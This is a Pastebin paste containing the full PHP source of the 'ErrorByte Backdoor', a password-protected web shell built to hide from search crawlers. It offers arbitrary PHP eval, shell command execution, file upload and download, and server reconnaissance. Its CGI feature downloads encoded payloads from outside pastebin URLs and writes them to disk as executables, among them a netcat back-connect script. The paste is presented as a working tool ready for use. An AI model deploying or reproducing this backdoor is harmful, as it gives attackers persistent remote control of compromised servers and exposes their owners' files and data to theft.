VanGans

ErrorByte Backdoor

Oct 30th, 2018
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.33 KB | None | 0 0
  1. <?php
  2. # Config Shell
  3. error_reporting(0);
  4. $password = 'ErrorByte';
  5. set_time_limit(0);
  6. @set_magic_quotes_runtime(0);
  7. @clearstatcache();
  8. @ini_set('error_log',NULL);
  9. @ini_set('log_errors',0);
  10. @ini_set('max_execution_time',0);
  11. @ini_set('output_buffering',0);
  12. @ini_set('display_errors', 0);
  13. $ds = @ini_get("disable_functions");
  14. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "NONE";
  15. ?>
  16. <?php
  17. session_start();
  18. $auth_pass = $password;
  19. $default_action = 'FilesMan';
  20. $default_use_ajax = true;
  21. $default_charset = 'UTF-8';
  22. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  23.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  24.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  25.         header('HTTP/1.0 404 Not Found');
  26.         exit;
  27.     }
  28. }
  29.  
  30. function login_shell() {
  31. ?>
  32. <?php
  33. echo '
  34. <html>
  35. <head>
  36. <title>ErrorByte Backdoor</title>
  37. <link rel="shortcut icon" type="image/x-icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  38. <style type="text/css">
  39. html {
  40.     margin: 20px auto;
  41.     background: #000000;
  42.     color: white;
  43.     text-align: center;
  44. }
  45. header {
  46.     color: aqua;
  47.     margin: 10px auto;
  48. }
  49. input[type=password] {
  50.     color: red;
  51.     background: transparent;
  52.     border: 1px solid white;
  53. }
  54. input[type=submit] {
  55.     color: white;
  56.     background: transparent;
  57.     border: 1px solid white;
  58. }
  59. </style>
  60. </head>
  61. <table height="100%" width="100%">
  62. <td align="center">
  63. <form action="'.$_SERVER['PHP_SELF'].'" enctype="multipart/form-data" method="post">
  64. <font size="5">ErrorByte Backdoor</font>
  65. <br><br><input type="password" name="pass">
  66. <input type="submit" value="Login !!!">
  67. </form>
  68. </td>
  69. </table>';
  70. ?>
  71. <?php
  72. exit;
  73. }
  74. if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
  75.     if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
  76.         $_SESSION[$_SERVER['HTTP_HOST']] = true;
  77.     else
  78.         login_shell();
  79. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  80.     @ob_clean();
  81.     $file = $_GET['file'];
  82.     header('Content-Description: File Transfer');
  83.     header('Content-Type: application/octet-stream');
  84.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  85.     header('Expires: 0');
  86.     header('Cache-Control: must-revalidate');
  87.     header('Pragma: public');
  88.     header('Content-Length: ' . filesize($file));
  89.     readfile($file);
  90.     exit;
  91. }
  92. ?>
  93. <?php
  94. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  95.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  96.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  97.         header('HTTP/1.0 404 Not Found');
  98.         exit;
  99.     }
  100. }
  101. $dir = $_GET['d'];
  102. chdir($dir);
  103. $direktori = getcwd();
  104. if(isset($_GET['eval'])) {
  105. $cok = str_replace("'", '"', $_GET['eval']); echo eval($cok);
  106. echo "<br><br><a href='?'>Back Home</a>";
  107. exit;
  108. }
  109. ?>
  110. <title>ErrorByte Backdoor</title>
  111. <link rel="shortcut icon" type="image/x-icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  112. <style>
  113. html {
  114. background: black;
  115. color: white;
  116. }
  117. .hasilshell {
  118. border: 1px solid white;
  119. height: 200px;
  120. width: 100%;
  121. }
  122. input{
  123. border: 1px solid white;
  124. }
  125. a {
  126. color: red;
  127. text-decoration: none;
  128. }
  129. </style>
  130. <script type="text/javascript">
  131.     function evalp() {
  132.         var evalphp = document.getElementById('evalphp').value;
  133.         window.location = "?eval=" + evalphp;
  134.     }
  135. </script>
  136. <hr>
  137. <center>
  138. <h1>ErrorByte Backdoor</h1>
  139. <hr>
  140. [ <a href="?">Home</a> ] [ <a href="?eval_php">Eval PHP</a> ] [ <a href="?cgi">CGI Telnet</a> ] [ <a href="?info">Info Server</a> ] [ <a href="?change">Change Password</a> ] [ <a href="?out">Logout</a> ]
  141. </center>
  142. <?php
  143. if(isset($_REQUEST['out'])) {
  144.     unset($_SESSION[$_SERVER['HTTP_HOST']]);
  145.     echo "<script>window.location='?';</script>";
  146. } elseif(isset($_REQUEST['info'])) {
  147. echo "<hr>";
  148. echo "Kernel : <font color='red'>".php_uname()."</font><br>
  149. Disable Function : $show_ds";
  150. exit;
  151. } elseif(isset($_REQUEST['eval_php'])) {
  152. echo "<hr>";
  153. echo '<textarea id="evalphp" class="hasilshell"></textarea><br><br>
  154. <input onclick="evalp();" type="submit" value="Go!"/>';
  155. exit;
  156. } elseif(isset($_REQUEST['change'])) {
  157. echo "<hr><form enctypr='multipart/post-data' method='post'>
  158. New Password : <input type='text' name='pass_baru' placeholder='$password'>
  159. <input type='submit' value='Change !'>
  160. </form>";
  161. if(isset($_POST['pass_baru'])){
  162. $self = $_SERVER['SCRIPT_FILENAME'];
  163. $proc = file($self);
  164. $replace = str_replace('$password = '."'".$password."'", '$password = '."'".$_POST['pass_baru']."'", $proc);
  165. $ganti = file_put_contents($self, $replace);
  166. if($ganti) {
  167. echo "Password Save As <font color='red'>".$_POST['pass_baru']."</font>";
  168. } else {
  169. echo 'Failed Change Password !!!';
  170. }
  171. }
  172. exit;
  173. } elseif(isset($_REQUEST['cgi'])) {
  174. echo '<hr>';
  175. chdir($direktori);
  176.  mkdir('cgi', 0755);
  177.     chdir('cgi');      
  178.         $kokdosya = ".htaccess";
  179.         $dosya_adi = "$kokdosya";
  180.         $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  181.         $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  182.  
  183. AddType application/x-httpd-cgi .cin
  184.  
  185. AddHandler cgi-script .cin
  186. AddHandler cgi-script .cin";    
  187.         fwrite ( $dosya , $metin ) ;
  188.         fclose ($dosya);
  189. $cgishellizocin = file_get_contents("https://pastebin.com/raw/0xVVQjZu");
  190. $file = fopen("izo.cin" ,"w+");
  191. $isi = str_replace("123456", $password , base64_decode($cgishellizocin));
  192. $write = fwrite ($file ,$isi);
  193. fclose($file);
  194.     chmod("izo.cin",0755);
  195. $netcatshell = file_get_contents("https://pastebin.com/raw/6dQxUeUh");
  196.  
  197. $file = fopen("dc.pl" ,"w+");
  198. $write = fwrite ($file ,base64_decode($netcatshell));
  199. fclose($file);
  200.     chmod("dc.pl",0755);
  201.    echo "<iframe src=cgi/izo.cin width=96% height=90% frameborder=0></iframe>
  202.  
  203.  
  204. </div>";
  205. exit;
  206. }
  207. ?>
  208. <hr>
  209. <script type="text/javascript">
  210.     function KeDirektori() {
  211.         var direktori = document.getElementById('direktori').value;
  212.         window.location = "?d=" + direktori;
  213.     }
  214. </script>
  215. Path : <input id="direktori" type="text" value="<?php echo $direktori; ?>"/>
  216. <input onclick="KeDirektori();" type="submit" value="Go!"/>
  217. <hr>
  218. <form enctype="multipart/form-data" method="post">
  219. <input type="file" name="upd">
  220. <input type="submit" value="Upload!">
  221. </form>
  222. <?php
  223. if(isset($_FILES['upd'])) {
  224. if(copy($_FILES['upd']['tmp_name'],$_FILES['upd']['name'])) {
  225. echo $_FILES['upd']['name']." Uploaded !!!";
  226. } else {
  227. echo "Failed Upload ".$_FILES['upd']['name'];
  228. }
  229. }
  230. ?>
  231. <hr>
  232. PHP Execution Command : <?php echo (shell_exec('dir')) ? "ON" : "OFF"; ?>
  233. <hr>
  234. <form enctype="multipart/form-data" method="post">
  235. ErrorByte@<?php echo $_SERVER['HTTP_HOST']; ?>:~ $
  236. <input type="text" name="shell">
  237. <input type="submit" value="!">
  238. </form>
  239. <hr>
  240. <textarea class="hasilshell">
  241. <?php
  242. if(isset($_POST['shell'])) {
  243. echo shell_exec($_POST['shell']);
  244. }
  245. ?>
  246. </textarea>
  247. <hr>
  248. File And Directory<br>
  249. <hr>
  250. <textarea class="hasilshell">
  251. <?php
  252. if(shell_exec('dir -l')) {
  253. echo shell_exec('dir -l');
  254. } else {
  255. echo "[ Execute Error ]";
  256. }
  257. ?>
  258. </textarea>
  259. <hr>
  260. <center>Copyleft &copy;2018 - ErrorByte
  261. <hr>
Advertisement
Add Comment
Please, Sign In to add comment